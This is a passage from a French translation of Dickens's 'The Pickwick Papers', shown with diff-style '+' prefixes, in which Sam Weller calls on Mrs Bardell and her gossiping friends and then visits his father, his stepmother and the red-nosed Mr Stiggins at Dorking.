+première marche de l'escalier, et disparut, avec son message, derrière
+la porte du parloir.
+
+Les deux chapeaux dessinés sur les carreaux étaient ceux des deux amies
+les plus intimes de mistress Bardell. Elles venaient d'arriver pour
+prendre une paisible tasse de thé et un petit souper chaud de pommes de
+terre et de fromage rôti; et tandis que le fromage bruissait et friait
+devant le feu, tandis que les pommes de terre cuisaient délicieusement
+dans un poêlon, mistress Bardell et ses deux amies se régalaient d'une
+petite conversation critique concernant toutes leurs connaissances
+réciproques. Master Bardell interrompit cette intéressante revue en
+rapportant le message qui lui avait été confié par Sam.
+
+«Le domestique de M. Pickwick! s'écria mistress Bardell en pâlissant.
+
+--Bonté divine! fit mistress Cluppins.
+
+--Eh bien! réellement je n'aurais pas cru ça, si je n'y avais pas
+t'été,» déclara mistress Sanders.
+
+Mistress Cluppins était une petite femme vive et affairée; mistress
+Sanders une personne grosse, grasse et pesante. Toutes les deux
+formaient la compagnie.
+
+Mistress Bardell trouva convenable d'être agitée, et comme aucune des
+trois amies ne savait s'il était bon d'avoir des communications avec le
+domestique de M. Pickwick, autrement que par la ministère de Dodson et
+Fogg, elles se trouvaient prises au dépourvu. Dans cet état
+d'indécision, la première chose à faire était évidemment de taper le
+petit garçon pour avoir trouvé M. Weller à la porte. La tendre mère n'y
+manqua pas, et il se mit à crier fort mélodieusement.
+
+«Ne m'étourdissez pas les oreilles, méchante créature! lui dit mistress
+Bardell.
+
+--Ne tourmentez pas votre pauvre chère mère! cria mistress Cluppins.
+
+--Elle en a assez des tourments, ajouta mistress Sanders avec une
+résignation sympathisante.
+
+--Ah! oui, l'est-elle malheureuse! pauvre agneau!» reprit mistress
+Cluppins.
+
+Pendant ces réflexions morales, master Bardell hurlait de plus en plus
+fort.
+
+«Qu'allons-nous faire maintenant? demanda mistress Bardell à mistress
+Cluppins.
+
+--Je pense que vous devriez le voir, devant un témoin, s'entend.
+
+--Deux témoins, serait plus légal, fit observer mistress Sanders, qui,
+ainsi que son amie, crevait de curiosité.
+
+--Peut-être qu'il vaudrait mieux le faire venir ici,» reprit mistress
+Bardell.
+
+Mistress Cluppins adopta avidement cette idée. «Bien sûr!
+s'écria-t-elle. Entrez, jeune homme, et fermez d'abord la porte, s'il
+vous plaît.»
+
+Sam saisit l'occasion aux cheveux, et se présentant dans le parloir,
+exposa, ainsi qu'il suit, sa commission à mistress Bardell:
+
+«Très-fâché de vous déranger, madame, comme disait le chauffeur à la
+vieille dame en la mettant sur le gril; mais comme je viens justement
+d'arriver avec mon gouverneur et que nous nous en allons incessamment,
+il n'y a pas moyen d'empêcher ça, comme vous voyez.
+
+--Effectivement le jeune homme ne peut pas empêcher les fautes de son
+maître, fit observer mistress Cluppins, sur laquelle l'apparence et la
+conversation de Sam avaient fait beaucoup d'impression.
+
+--Non certainement, répondit mistress Sanders, en jetant un regard
+attendri sur le petit poêlon, et en calculant mentalement la
+distribution probable des pommes de terre, au cas où Sam serait invité à
+souper.
+
+--Ainsi donc, poursuivit l'ambassadeur, sans remarquer l'interruption,
+voilà pourquoi je suis venu ici: primo, d'abord, pour vous donner congé:
+le voilà ici; secondo, pour payer le loyer: le voilà ici; troiso, pour
+dire que vous mettiez toutes nos histoires en ordre, pour donner à la
+personne que nous enverrons pour les prendre; quatro, que vous pouvez
+mettre l'écriteau aussitôt que vous voudrez. Et voilà tout.
+
+--Malgré ce qui est arrivé, soupira mistress Bardell, je dirai toujours
+et j'ai toujours dit que, sous tous les rapports, excepté un, M.
+Pickwick s'est toujours conduit comme un gentleman parfait; son argent
+était toujours aussi solide que la banque, toujours.»
+
+En disant ceci, mistress Bardell appliqua son mouchoir à ses yeux... et
+sortit de la chambre pour faire la quittance.
+
+Sam savait bien qu'il n'avait qu'à rester tranquille et que les deux
+invitées ne manqueraient point de parler; aussi se contenta-t-il de
+regarder alternativement le poêlon, le fromage, le mur et le plancher,
+en gardant le plus profond silence.
+
+«Pauvre chère femme! s'écria mistress Cluppins.
+
+--Pauvre criature!» rétorqua mistress Sanders.
+
+Sam ne dit rien; il vit qu'elles arrivaient au sujet.
+
+«Riellement je ne puis pas me contenir, dit mistress Cluppins, quand je
+pense à une trahison comme ça. Je ne veux rien dire pour vous vexer,
+jeune homme, mais votre maître est une vieille brute, et je désire que
+je l'eusse ici pour lui dire à lui-même.
+
+--Je désire que vous l'eussiez, répondit Sam.
+
+--C'est terrible de voir comme elle dépérit et qu'elle ne prend plaisir
+à rien, excepté quand ses amies viennent, par pure charité, pour causer
+avec elle et la rendre confortable, reprit mistress Cluppins en jetant
+un coup d'oeil au poêlon et au fromage. C'est choquant.
+
+--Barbaresque! ajouta mistress Sanders.
+
+--Et votre maître, qu'est un homme d'argent, qui ne s'apercevrait tant
+seulement pas de la dépense d'une femme. Il n'a pas l'ombre d'une
+excuse. Pourquoi ne l'épouse-t-il pas?
+
+--Ah! dit Sam. Bien sûr, voilà la question.
+
+--Certainement, qu'elle lui demanderait la question, si elle avait
+autant de courage que moi, poursuivit mistress Cluppins avec grande
+volubilité. Quoi qu'il en soit, il y a une loi pour nous autres femmes,
+malgré que les hommes voudraient nous rendre comme des esclaves. Et
+votre maître saura ça à ses dépens, jeune homme, avant qu'il soit plus
+vieux de six mois.»
+
+A cette consolante réflexion, mistress Cluppins se redressa, et sourit à
+mistress Sanders, qui lui renvoya son sourire.
+
+«L'affaire marche toujours,» pensa Sam, tandis que mistress Bardell
+rentrait avec le reçu.
+
+--Voilà le reçu, monsieur Weller, dit l'aimable veuve, et voilà votre
+reste. J'espère que vous prendrez quelque chose pour vous tenir
+l'estomac chaud, quand ça ne serait qu'à cause de la vieille
+connaissance....»
+
+Sam vit l'avantage qu'il pouvait gagner, et accepta sur-le-champ.
+Aussitôt mistress Bardell tira d'une petite armoire une bouteille avec
+un verre; et sa profonde affliction la préoccupait tellement qu'après
+avoir rempli le verre de Sam, elle aveignit encore trois autres verres
+et les remplit également.
+
+«Ah ça! mistress Bardell, s'écria mistress Cluppins, voyez ce que vous
+avez fait!
+
+--Eh bien! en voilà une bonne! éjacula mistress Sanders.
+
+--Ah! ma pauvre tête?» fit mistress Bardell, avec un faible sourire.
+
+Sam, comme on s'en doute bien, comprit tout cela. Aussi s'empressa-t-il
+de dire qu'il ne buvait jamais, avant souper, à moins qu'une dame ne bût
+avec lui. Il s'ensuivit beaucoup d'éclats de rire, et enfin mistress
+Sanders s'engagea à le satisfaire et but une petite goutte. Alors Sam
+déclara qu'il fallait faire la ronde, et toutes ces dames burent une
+petite goutte. Ensuite la vive mistress Cluppins proposa pour toast:
+_Bonne chance à Bardell contre Pickwick_; et les dames vidèrent leurs
+verres en honneur de ce voeu: après quoi elles devinrent très-parlantes.
+
+«Je suppose, dit mistress Bardell, je suppose que vous avez appris ce
+qui se passe, monsieur Weller?
+
+--Un petit brin, répondit Sam.
+
+--C'est une terrible chose, monsieur Weller, que d'être traînée comme
+cela devant le public; mais je vois maintenant que c'est la seule
+ressource qui me reste, et mon avoué, M. Dodson et Fogg, me dit que nous
+devons réussir, avec les témoins que nous appellerons. Si je ne
+réussissais pas, je ne sais pas ce que je ferais!»
+
+La seule idée de voir mistress Bardell perdre son procès affecta si
+profondément mistress Sanders qu'elle fut obligée de remplir et de vider
+son verre immédiatement, sentant, comme elle le dit ensuite, que si elle
+n'avait pas eu la présence d'esprit d'agir ainsi, elle se serait
+infailliblement trouvée mal.
+
+«Quand pensez-vous que ça viendra? demanda Sam.
+
+--Au mois de février ou de mai, répliqua mistress Bardell.
+
+--Quelle quantité de témoins il y aura! dit mistress Cluppins.
+
+--Ah! oui! fit mistress Sanders.
+
+--Et si la plaignante ne gagne pas, MM. Dodson et Fogg seront-ils
+furieux, eux qui font tout cela par spéculation, à leurs risques!
+continua mistress Cluppins.
+
+--Ah! oui.
+
+--Mais la plaignante doit gagner, ajouta mistress Cluppins.
+
+--Je l'espère, dit mistress Bardell.
+
+--Il n'y a pas le moindre doute, répliqua mistress Sanders.
+
+--Eh bien! dit Sam en se levant et en posant son verre sur la table,
+tout ce que je peux dire c'est que je vous le souhaite.
+
+--Merci, monsieur Weller! s'écria mistress Bardell avec ferveur.
+
+--Et tant qu'à ce Dodson et Fogg, qui fait ces sortes de choses par
+spéculation, poursuivit Sam, et tant qu'aux bons et généreux individus
+de la même profession qui mettent les gens par les oreilles gratis, pour
+rien, et qui occupent leurs clercs à trouver des petites disputes chez
+leurs voisins et connaissances pour les accorder avec des procès, tout
+ce que je peux dire d'eux, c'est que je leur souhaite la récompense que
+je leur donnerais.
+
+--Ah! s'écria mistress Bardell, attendrie, je leur souhaite la
+récompense que tous les coeurs généreux et compatissants seraient
+disposés à leur accorder.
+
+--Amen! répondit Sam. Et ils gagneraient joliment de quoi mener joyeuse
+vie et s'engraisser, s'ils avaient ce que je leur souhaite!--Je vous
+offre le bonsoir, mesdames.»
+
+Au grand soulagement de mistress Sanders, leur hôtesse permit à Sam de
+partir, sans faire aucune allusion aux pommes de terre ni au fromage
+rôti, et peu après, avec l'assistance juvénile qu'on pouvait attendre de
+master Bardell, les trois dames rendirent la plus ample justice à ces
+mets délicieux, qui s'évanouirent complétement sous leurs courageux
+efforts.
+
+Sam, arrivé à l'auberge le _George et Vautour_, rapporta fidèlement à
+son maître les indices qu'il avait recueillis des manoeuvres de Dodson et
+Fogg; et son récit fut complétement confirmé le lendemain par M. Perker,
+avec qui notre philosophe eut une entrevue. Il fut donc obligé de se
+préparer pour sa visite de Noël à Dingley-Dell, avec l'agréable
+perspective d'être actionné publiquement, deux ou trois mois plus tard,
+par la cour des _Common Pleas_, pour violation d'une promesse de
+mariage; la plaignante ayant tout l'avantage inhérent à ce genre
+d'action, et résultant de l'excessive habileté de Dodson et Fogg.
+
+
+
+
+
+CHAPITRE XXVII.
+
+Samuel Weller fait un pèlerinage à Dorking, et voit sa belle-mère.
+
+
+Comme il restait un intervalle de deux jours avant l'époque fixée pour
+le départ des Pickwickiens pour Dingley-Dell, Sam, après avoir dîné de
+bonne heure, s'assit dans l'arrière-salle de l'auberge le _George et
+Vautour_, pour réfléchir au meilleur emploi possible de cet espace de
+temps. Il faisait un temps superbe, et Samuel n'avait pas ruminé pendant
+dix minutes, lorsqu'il sentit tout à coup naître en lui un sentiment
+filial et affectueux. Le besoin d'aller voir son père et de rendre ses
+devoirs à sa belle-mère se présenta alors si fortement à son esprit,
+qu'il fut frappé d'étonnement de n'avoir pas songé plus tôt à cette
+obligation morale. Impatient de réparer ses torts passés, dans le plus
+bref délai possible, il gravit les marches de l'escalier, se présenta
+directement devant M. Pickwick, et lui demanda un congé afin d'exécuter
+ce louable dessein.
+
+«Certainement, Sam, certainement,» répondit le philosophe, dont les yeux
+se remplirent de larmes de joie à cette manifestation des bons
+sentiments de son domestique.
+
+Sam fit une inclination de tête reconnaissante.
+
+«Je suis charmé de voir que vous comprenez si bien vos devoirs de fils.
+
+--Je les ai toujours compris, monsieur.
+
+--C'est une réflexion fort consolante, dit M. Pickwick d'un air
+approbateur.
+
+--Tout à fait, monsieur. Quand je voulais quelque chose de mon père, je
+le lui demandais d'une manière très-respectueuse et obligeante; s'il ne
+me le donnait pas, je le prenais, dans la crainte d'être enduit à mal
+faire, si je n'avais pas ce que je voulais. Je lui ai évité comme ça une
+foule d'embarras, monsieur.
+
+--Ce n'est pas précisément ce que j'entendais, Sam, dit M. Pickwick en
+secouant la tête avec un léger sourire.
+
+--J'ai agi dans un bon sentiment, monsieur, avec les meilleures
+intentions du monde, comme disait le gentleman qui avait planté là sa
+femme, parce qu'elle était malheureuse avec lui....
+
+--Vous pouvez aller, Sam.
+
+--Merci, monsieur.» Et ayant fait son plus beau salut et revêtu ses plus
+beaux habits, Sam se percha sur l'impériale de l'Hirondelle et se rendit
+à Dorking.
+
+_Le marquis de Granby_, du temps de Mme Weller, pouvait servir de modèle
+aux meilleures auberges; assez grande pour qu'on y eût ses coudées
+franches, assez petite et assez commode pour qu'on s'y crût chez soi. Du
+côté opposé de la route, un poteau élevé supportait une vaste enseigne,
+où l'on voyait représentées la tête et les épaules d'un gentleman doué
+d'un teint apoplectique. Son habit rouge avait des revers bleus, et
+quelques taches de cette dernière couleur étaient placées au-dessus de
+son tricorne pour figurer le ciel. Plus haut encore, il y avait une
+paire de drapeaux, et au-dessous du dernier bouton de l'habit rouge du
+gentleman, une couple de canons. Le tout offrait incontestablement un
+portrait frappant du marquis de Granby, de glorieuse mémoire. Les
+fenêtres du comptoir laissaient voir une collection de géraniums et une
+rangée bien époussetée de bouteilles de liqueur. Les volets verts
+étalaient en lettres d'or force panégyriques des bons lits et des bons
+vins de la maison; enfin le groupe choisi de paysans et de valets qui
+flânaient autour des écuries, autour des auges, disait beaucoup en
+faveur de la bonne qualité de la bière et de l'eau-devie qui se
+vendaient à l'intérieur. En descendant de voiture, Sam s'arrêta pour
+noter, avec l'oeil d'un voyageur expérimenté, toutes ces petites
+indications d'un commerce prospère, et, quand il entra, il était
+grandement satisfait du résultat de ses observations.
+
+«Eh bien? dit une voix aigrelette lorsque la tête de Sam se montra à la
+porte du comptoir. Qu'est-ce que vous voulez, jeune homme?»
+
+Sam regarda dans la direction de la voix. Elle provenait d'une dame
+d'une encolure assez puissante, confortablement assise auprès de la
+cheminée, et qui s'occupait à souffler le feu, afin de faire chauffer
+l'eau pour le thé. La dame n'était pas seule, car de l'autre côté de la
+cheminée, tout droit dans un antique fauteuil, était assis un homme dont
+le dos était presque aussi long et presque aussi roide que celui du
+fauteuil lui-même.
+
+Cet individu, qui attira sur-le-champ l'attention spéciale de Sam,
+paraissait long et fluet. Son visage était couperosé, son nez rouge; ses
+yeux méchants et bien éveillés tenaient beaucoup de ceux d'un serpent à
+sonnettes. Il portait un habit noir râpé, un pantalon très-court et des
+bas de coton noir qui, comme le reste de son costume, avaient une teinte
+rouillée. Son air était empesé, mais sa cravate blanche ne l'était pas,
+et pendait toute chiffonnée et d'une manière fort peu pittoresque sur
+son gilet boutonné jusqu'au menton. Sur une chaise, à côté de lui,
+étaient placés une paire de gants de castor, vieux et usés; un chapeau à
+larges lords; un parapluie fort passé, qui laissait voir une quantité de
+baleines, comme pour contre-balancer l'absence d'une poignée: enfin,
+tous ces objets étaient arrangés avec un soin et une symétrie qui
+semblaient indiquer que l'homme au nez rouge, quel qu'il fût, n'avait
+pas l'intention de s'en aller de sitôt.
+
+Pour lui rendre justice, il faut convenir que s'il avait eu cette
+intention, il eût fait preuve de bien peu d'intelligence; car, à en
+juger par les apparences, il aurait fallu qu'il possédât un cercle de
+connaissances bien désirable, pour pouvoir raisonnablement espérer
+s'installer ailleurs plus confortablement. Le feu flambait joyeusement
+sous l'influence du soufflet, et la bouilloire chantait gaiement sous
+l'influence de l'un et de l'autre; sur la table était disposé tout
+l'appareil du thé: un plat de rôties beurrées chauffait doucement devant
+le foyer, et l'homme au nez rouge, armé d'une longue fourchette,
+s'occupait activement à transformer de larges tranches de pain en cet
+agréable comestible. Auprès de lui était un verre d'eau et de rhum
+brûlant, dans lequel nageait une tranche de limon; et chaque fois qu'il
+se baissait pour amener les tartines de pain auprès de son oeil, afin de
+juger comment elles rôtissaient, il sirotait une goutte ou deux de grog,
+et souriait en regardant la dame à la puissante encolure, qui soufflait
+le feu.
+
+La contemplation de cette scène confortable avait tellement absorbé les
+facultés pensantes de Sam, qu'il laissa passer sans y faire attention
+les premières interrogations de l'hôtesse, qui fut obligée de les
+répéter trois fois, sur un ton de plus en plus aigre, avant qu'il
+s'aperçût de l'inconvenance de sa conduite.
+
+«Le gouverneur y est-il? demanda-t-il enfin.
+
+--Non, il n'y est pas, répondit Mme Weller, car la dame n'était autre
+que la ci-devant veuve et la seule et unique exécutrice testamentaire de
+feu M. Clarke. Non, il n'y est pas, et qui plus est je ne l'attends pas.
+
+--Je suppose qu'il conduit aujourd'hui? reprit Sam.
+
+--Peut-être que oui, peut-être que non, répliqua Mme Weller en beurrant
+la tartine que l'homme au nez rouge venait de faire rôtir. Je n'en sais
+rien, et de plus je ne m'en soucie guère.--Dites un _Benedicite_,
+monsieur Stiggins.»
+
+L'homme au nez rouge fit ce qui lui était demandé, et attaqua aussitôt
+une rôtie avec une voracité sauvage.
+
+Son apparence, dès le premier coup d'oeil, avait induit Sam à suspecter
+qu'il voyait en lui le substitut du berger dont lui avait parlé son
+estimable père. Aussitôt qu'il le vit manger, tous ses doutes à ce sujet
+s'évanouirent, et il reconnut en même temps que s'il avait envie de
+s'installer provisoirement dans la maison, il fallait qu'il se mît sans
+délai sur un bon pied. Commençant donc ses opérations, il passa son bras
+par-dessus la demi-porte du comptoir, l'ouvrit, entra d'un pas délibéré,
+et dit tranquillement:
+
+«Ma belle-mère, comment vous va?
+
+--Eh bien! je crois que c'est un Weller! s'écria la grosse dame en
+regardant Sam d'un air fort peu satisfait.
+
+--Un peu, que c'en est un! rétorqua l'imperturbable Sam, et j'espère que
+ce révérend gentleman m'excusera si je dis que je voudrais bien être le
+Weller qui vous possède, belle-mère.»
+
+C'était là un compliment à deux tranchants. Il insinuait que Mme Weller
+était une femme fort agréable, et en même temps que M. Stiggins avait
+une apparence ecclésiastique. Effectivement, il produisit sur-le-champ
+un effet visible, et Sam poursuivit son avantage en embrassant sa
+belle-mère.
+
+«Voulez-vous bien finir! s'écria Mme Weller en le repoussant.
+
+--Fi! jeune homme, fi! dit le gentleman au nez rouge.
+
+--Sans offense, monsieur, sans offense, répliqua Sam. Mais malgré ça
+vous avez raison. Ces sortes de choses-là sont défendues quand la
+belle-mère est jeune et jolie, n'est-ce pas, monsieur?
+
+--Tout ça n'est que vanité, observa M. Stiggins.
+
+--Oh! c'est bien vrai,» dit mistress Weller en rajustant son bonnet.
+
+Sam pensa la même chose, mais il retint sa langue.
+
+Le substitut du berger ne paraissait nullement satisfait de l'arrivée de
+Sam, et quand la première effervescence des compliments fut passée, Mme
+Weller elle-même prit un air qui semblait dire qu'elle se serait
+très-volontiers passée de sa visite. Quoi qu'il en soit, Sam était là,
+et comme on ne pouvait décemment le mettre dehors, on l'invita à
+s'asseoir et à prendre le thé.
+
+«Comment va le père?» demanda-t-il au bout de quelques instants.
+
+A cette question, Mme Weller leva les mains et tourna les yeux vers le
+plafond, comme si c'était un sujet trop pénible pour qu'on osât en
+parler.
+
+M. Stiggins fit entendre un gémissement.
+
+--Qu'est-ce qu'il a donc, ce monsieur? demanda Sam.
+
+--Il est choqué de la manière dont votre père se conduit.
+
+--Comment! C'est à ce point là?
+
+--Et avec trop de raison,» répondit Mme Weller gravement.
+
+M. Stiggins prit une nouvelle rôtie et soupira bruyamment.
+
+«C'est un terrible réprouvé, poursuivit Mme Weller.
+
+--Un vase de perdition!» s'écria M. Stiggins, et il fit dans sa rôtie un
+large segment de cercle et poussa un gémissement sourd.
+
+Sam se sentit violemment enclin à donner au révérend personnage une
+volée qui permit à ce saint homme de gémir avec plus de raison, mais il
+réprima ce désir et demanda simplement:
+
+«Le vieux fait donc des siennes, hein?
+
+--Hélas! oui, répliqua Mme Weller. Il a un coeur de rocher. Tous les
+soirs, cet excellent homme... ne froncez pas le sourcil, monsieur
+Stiggins, je soutiens que _vous êtes_ un excellent homme.... Tous les
+soirs, cet excellent homme passe ici des heures entières, et cela ne
+produit point le moindre effet sur votre réprouvé de père.
+
+--Eh bien! voilà qui est drôle! rétorqua Sam. Ça en produirait un
+prodigieux sur moi, si j'étais à sa place. Je vous en réponds!
+
+--Mon jeune ami, dit solennellement M. Stiggins, le fait est qu'il a un
+esprit endurci. Oh! mon jeune ami, quel autre aurait pu résister aux
+exhortations de seize de nos plus aimables soeurs, et refuser de
+souscrire à notre humble société pour procurer aux enfants nègres, dans
+les Indes occidentales, des gilets de flanelle et des mouchoirs de poche
+moraux.
+
+--Qu'est-ce que c'est qu'un mouchoir moral? demanda Sam. Je n'ai jamais
+vu ce meuble-là.
+
+--C'est un mouchoir qui combine l'amusement et l'instruction, mon jeune
+ami; où l'on voit des histoires choisies, illustrées de gravures sur
+bois.
+
+--Bon, je sais; j'ai vu ça aux étalages des merciers, avec des pièces de
+vers et tout le reste, n'est-ce pas?»
+
+M. Stiggins fit un signe affirmatif et commença une troisième rôtie.
+
+«Et il n'a pas voulu se laisser persuader par les dames?
+
+--Il s'est assis, répondit Mme Weller, il a allumé sa pipe, et il a dit
+que les enfants nègres étaient.... Qu'est-ce qu'il a dit que les enfants
+nègres étaient, monsieur Stiggins?
+
+--Une blague, soupira le révérend, profondément affecté.
+
+--Il a dit que les enfants nègres étaient une blague!» répéta tristement
+Mme Weller; après quoi, la dame et le révérend recommencèrent à gémir
+sur l'atroce conduite de M. Weller.
+
+Beaucoup d'autres iniquités de la même nature auraient pu être
+racontées, mais toutes les rôties étant mangées, le thé étant devenu
+très-faible, et Sam ne montrant aucune inclination à partir, M. Stiggins
+se rappela soudainement qu'il avait un rendez-vous très-pressant avec le
+berger, et se retira en conséquence.
+
+Le plateau était à peine enlevé, le foyer à peine balayé, lorsque la
+voiture de Londres déposa M. Weller à la porte. Peu après ses jambes le
+déposèrent dans le comptoir, et ses yeux lui révélèrent la présence de
+son fils.
+
+«Ha! ha! Sammy! s'écria le père.
+
+--Ho! ho! vieux farceur!» cria le fils; et ils se donnèrent une poignée
+de main vigoureuse.
+
+«Charmé de te voir, Sammy, dit l'aîné des Weller. Comment diantre as-tu
+pu venir à bout de ta belle-mère? Ça me passe. Tu devrais me passer ta
+recette. Je ne te dis que ça!
+
+--Chut! fit Sam. Elle est dans la maison, mon vieux gaillard.
+
+--Elle n'est pas à portée d'oreille. Elle reste toujours en bas, à
+tracasser le monde pendant une heure ou deux après le thé. Ainsi donc,
+nous pouvons nous humecter l'intérieur, Sammy.»
+
+En parlant ainsi, M. Weller mêla deux verres de grog et aveignit une
+couple de pipes. Le père et le fils s'assirent en face l'un de l'autre,
+Sam d'un côté du feu, dans le fauteuil au dos élevé, M. Weller de
+l'autre côté, dans une bergère, et ils commencèrent à goûter le double
+plaisir de leur pipe et de leur réunion inattendue, avec toute la
+gravité convenable.
+
+«Venu quelqu'un, Sammy?» demanda laconiquement M. Weller, après un long
+silence.
+
+Sam fit un signe exprimant l'affirmation.
+
+«Un gaillard au nez rouge?»
+
+Sam répéta le même signe.
+
+«Un bien aimable homme que ce gaillard-là! Sammy, fit observer M. Weller
+en fumant avec précipitation.
+
+--Il en a tout l'air.
+
+--Et joliment fort sur le calcul!
+
+--Vraiment!
+
+--Le lundi, il emprunte dix-huit pence; le mardi, il demande un shilling
+pour compléter la demi-couronne; le vendredi, il remprunte une autre
+demi-couronne pour faire un compte rond de cinq shillings, et il va
+comme ça, en doublant, jusqu'à ce qu'il arrive, en un rien de temps, à
+empocher une banknote de cinq livres. Ça ressemble à ce calcul du livre
+d'arusmétique où l'on arrive à des sommes folles en doublant les clous
+d'un fer à cheval.»
+
+Sam indiqua par un geste qu'il se rappelait le problème auquel son père
+faisait allusion.
+
+«Comme ça, vous n'avez pas voulu souscrire pour les gilets de flanelle,
+demanda Sam après avoir lancé de nouveau quelques bouffées de tabac
+silencieuses.
+
+--Non certainement. A quoi des gilets de flanelle peuvent-ils servir à
+ces négrillons? Mais vois-tu, Sammy, ajouta M. Weller en baissant la
+voix et en se penchant vers son compagnon, je souscrirais bien
+volontiers une jolie somme s'il s'agissait d'offrir des camisoles de
+force à certains particuliers que nous connaissons.»
+
+Ayant exprimé cette opinion, M. Weller reprit lentement sa position
+première, et cligna de l'oeil d'un air très-sagace.
+
+«C'est une drôle d'idée, tout de même, de vouloir envoyer des mouchoirs
+à des gens qui ne connaissent pas la manière de s'en servir, fit
+remarquer Sam.
+
+--I' sont toujours à faire quelque bêtise de ce genre, Sammy. L'autre
+dimanche, je flânais sur la route, qu'est-ce que j'aperçois debout à la
+porte d'une chapelle? Ta belle-mère avec un plat de faïence bleue à la
+main, oùs que les patards tombaient comme la grêle.... Tu n'aurais
+jamais cru qu'un plat mortel aurait pu y tenir. Et pour quoi penses-tu
+que c'était, Sammy?
+
+--Pour donner un autre thé, peut-être!
+
+--Tu n'y es pas, c'était pour la rente d'eau du berger
+
+--La rente d'eau du berger!
+
+--Ni plus ni moins. I' y avait trois trimestres que le berger n'avait
+pas payé un liard, pas un liard. Au fait il n'a guère besoin d'eau, i'
+ne boit que très-peu de c'te liqueur-là, très-peu, Sammy.... pas si
+chose! Comme ça, la rente n'était pas payée et le receveur avait arrêté
+son filet. V'là donc le berger qui s'en va à la chapelle. Il dit qu'il
+est un saint martyrisé, qu'il désire que le tourne-robinet qu'a coupé
+son filet obtienne son pardon du ciel, mais qu'il a bien peur qu'on ne
+lui ait déjà retenu dans l'autre monde une place où il ne sera pas à son
+aise. Là-dessus les femelles font un meeting, chantent des hymnes,
+nomment ta belle-mère présidente, votent une quête pour le dimanche
+suivant, et repassent tout le quibus au berger. Et si il n'a pas eu de
+quoi payer sa rente d'eau, sa vie durant, dit M. Weller en terminant, je
+ne suis qu'un Hollandais et tu en es un autre, voilà tout.»
+
+M. Weller fuma en silence pendant quelques minutes, puis il ajouta:
+
+«Le pire de ces bergers, mon garçon, c'est qu'i' tournent la tête à
+toutes les jeunes filles. Dieu bénisse leurs petits coeurs! elles
+s'imaginent que c'est tout miel, et elles n'en savent pas plus long.
+Elles donnent toutes dans la charge, Sammy, elles y donnent toutes.
+
+--Ça me fait cet effet-là, dit Sam.
+
+--Ni pus ni moins, poursuivit M. Weller en secouant gravement la tête;
+et ce qui m'agace le plus, Samivel, c'est de leur voir perdre leur temps
+et leur belle jeunesse à faire des habits pour des gens cuivrés qui n'en
+ont pas besoin, sans jamais s'occuper des chrétiens qui ont des couleurs
+naturelles et qui savent mettre un pantalon. Si j'étais le maître,
+Sammy, j'attèlerais quelques-uns de ces faignants de bergers à une
+brouette bien chargée et je la leur ferais monter et descendre, pendant
+vingt-quatre heures de suite, le long d'une planche de dix-huit pouces
+de large. Ça leur ôterait un peu de leur bêtise, ou rien n'y réussira.»
+
+M. Weller, ayant débité cette aimable recette, avec beaucoup d'emphase
+et une multitude de gestes et de contorsions, vida son verre d'un seul
+trait, et fit tomber les cendres de sa pipe avec une dignité naturelle.
+
+Il n'avait pas encore terminé cette dernière opération, lorsqu'une voix
+aigre se fit entendre dans le passage.
+
+«Voici ta chère belle-mère, Sammy,» dit-il à son fils, et au même
+instant Mme Weller entra, d'un pas affairé, dans la chambre.
+
+«Oh! vous voilà donc revenu! s'écria-t-elle.
+
+--Oui, ma chère, répliqua M. Weller en bourrant de nouveau sa pipe.
+
+--M. Stiggins est-il de retour? demanda mistress Weller.
+
+--Non, ma chère, répondit M. Weller en allumant ingénieusement sa pipe
+au moyen d'un charbon embrasé qu'il prit avec les pincettes; et qui
+plus est, ma chère, je tâcherais de ne pas mourir de chagrin s'il ne
+remettait plus les pieds ici.
+
+--Ouh! le réprouvé! s'écrie Mme Weller.
+
+--Merci, mon amour, dit son époux.
+
+--Allons! allons! père, observa Sam; pas de ces petites tendresses
+devant des étrangers. Voilà le révérend gentleman qui revient.»
+
+A cette annonce, Mme Weller essuya précipitamment les larmes qu'elle
+s'était efforcée de verser, et M. Weller tira, d'un air chagrin, son
+fauteuil dans le coin de la cheminée.
+
+M. Stiggins ne se fit pas beaucoup prier pour prendre un autre verre de
+grog; puis il en accepta un second, puis un troisième, puis il consentit
+à accepter sa part d'un léger souper, afin de recommencer sur nouveaux
+frais. Il était assis du même côté que M. Weller aîné; et lorsque
+celui-ci supposait que sa femme ne pouvait pas le voir, il indiquait à
+son fils les émotions intimes dont son âme était agitée, en secouant son
+poing sur la tête du berger. Cette plaisanterie procurait à son
+respectueux enfant une satisfaction d'autant plus pure, que M. Stiggins
+continuait à siroter paisiblement son rhum, dans une heureuse ignorance
+de cette pantomime animée.
+
+La conversation fut soutenue, en grande partie, par Mme Weller et le
+révérend M. Stiggins, et les principaux sujets qu'on entama furent les
+vertus du berger, les mérites de son troupeau, et les crimes affreux,
+les détestables péchés de tout le reste du monde. Seulement, M. Weller
+interrompait parfois ces dissertations par des remarques et des
+allusions indirectes à un certain vieux farceur généralement désigné
+sous le nom de _Walker_[29], et se permit çà et là divers commentaires
+non moins ironiques et voilés.
+
+[Footnote 29: M. Walker est un personnage mystérieux qui jouit en
+Angleterre d'une grande réputation de hableur. Son nom, employé comme
+interjection «Walker» est devenu un terme de mépris et d'incrédulité.
+
+(_Note du traducteur._)]
+
+Enfin, M. Stiggins, qui, à en juger par divers symptômes indubitables,
+avait emmagasiné autant de grog qu'il en pouvait ingurgiter sans trop
+s'incommoder, prit son chapeau et son congé, immédiatement après, Sam
+fut conduit par son père dans une chambre à coucher. Le respectable
+gentleman, en lui donnant une chaleureuse poignée de main, paraissait se
+disposer à lui adresser quelques observations; mais il entendit monter
+Mme Weller, et changeant aussitôt d'intention, il lui dit brusquement
+bonsoir.
+
+Le lendemain, Sam se leva de bonne heure. Ayant déjeuné à la hâte, il
+s'apprêta à retourner à Londres, et il sortait de la maison, lorsque son
+père se présenta devant lui.
+
+--Tu pars, Sam?
+
+--Tout de gô.
+
+--Je voudrais bien te voir museler ce Stiggins, et l'emmener avec toi.
+
+--Vraiment? répondit Sam d'un ton de reproche; je rougis de vous avoir
+pour auteur, vieux capon. Pourquoi lui laissez-vous montrer son nez
+cramoisi chez le _Marquis de Granby_?»
+
+M. Weller attacha sur son fils un regard sérieux, et répondit:
+
+«Parce que je suis un homme marié, Sammy, parce que je suis un homme
+marié. Quand tu seras marié, Sammy, tu comprendras bien des choses que
+tu ne comprends pas maintenant. Mais ça vaut-il la peine de passer tant
+de vilains quarts d'heure pour apprendre si peu de chose, comme disait
+cet écolier quand il a-t-été arrivé à savoir son alphabet, voilà la
+question? C'est une affaire de goût. Mais, pour ma part, je suis
+très-disposé à répondre: Non!
+
+--Dans tous les cas, dit Sam, adieu.
+
